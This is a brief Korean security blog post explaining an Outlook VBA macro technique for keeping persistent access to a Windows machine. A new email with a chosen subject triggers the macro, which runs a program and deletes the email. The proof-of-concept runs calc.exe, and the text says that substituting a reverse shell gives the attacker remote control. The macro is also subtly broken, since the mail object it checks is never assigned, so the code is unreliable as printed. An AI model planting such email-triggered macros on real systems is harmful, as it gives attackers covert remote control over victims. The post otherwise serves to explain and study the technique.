[하루한줄] Outlook Mail based Persistence access

URL

A Fresh Outlook on Mail Based Persistence

Target

Windows 10 Outlook

Explain

Outlook은 Microsoft Office의 이메일 클라이언트로 일정 관리, 연락처 관리, 일지 등의 다양한 기능을 제공합니다. 그중 다른 Office 제품들과 마찬가지로 Outlook은 VBA(Visaul Basic for Application) 기반 매크로를 만들어 사용하는 기능이 있고, 해커는 이를 악용해 persistence access를 얻을 수 있습니다.

Persistence access란 해커가 victim에 initial access를 획득한 이후에도 지속적으로 access 할 수 있는 상태입니다. 특정 제목의 이메일이 도착하면 트리거 되는 악성 매크로를 victim에 심어놓으면 해커는 단순히 이메일을 보내는 것만으로 원격 제어할 수 있습니다.

basic
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub

위 POC 코드는 calc.exe를 실행하는 VBA 매크로입니다. 우선 Outlook이 실행됐을 때의 수신 메일함 상태를 저장합니다. 이후에 새로운 이메일이 추가되면 그 이메일의 제목을 확인하고, 만약 그 제목이 “MDSec”이라면 calc.exe를 실행한 후 해당 이메일을 삭제합니다.

이메일의 제목뿐만 아니라 발신 주소 혹은 내용 등으로 매크로의 트리거 조건을 다양하게 설정할 수 있고, calc.exe 대신 리버스 쉘을 실행하면 해커가 원격 제어를 할 수 있게 됩니다.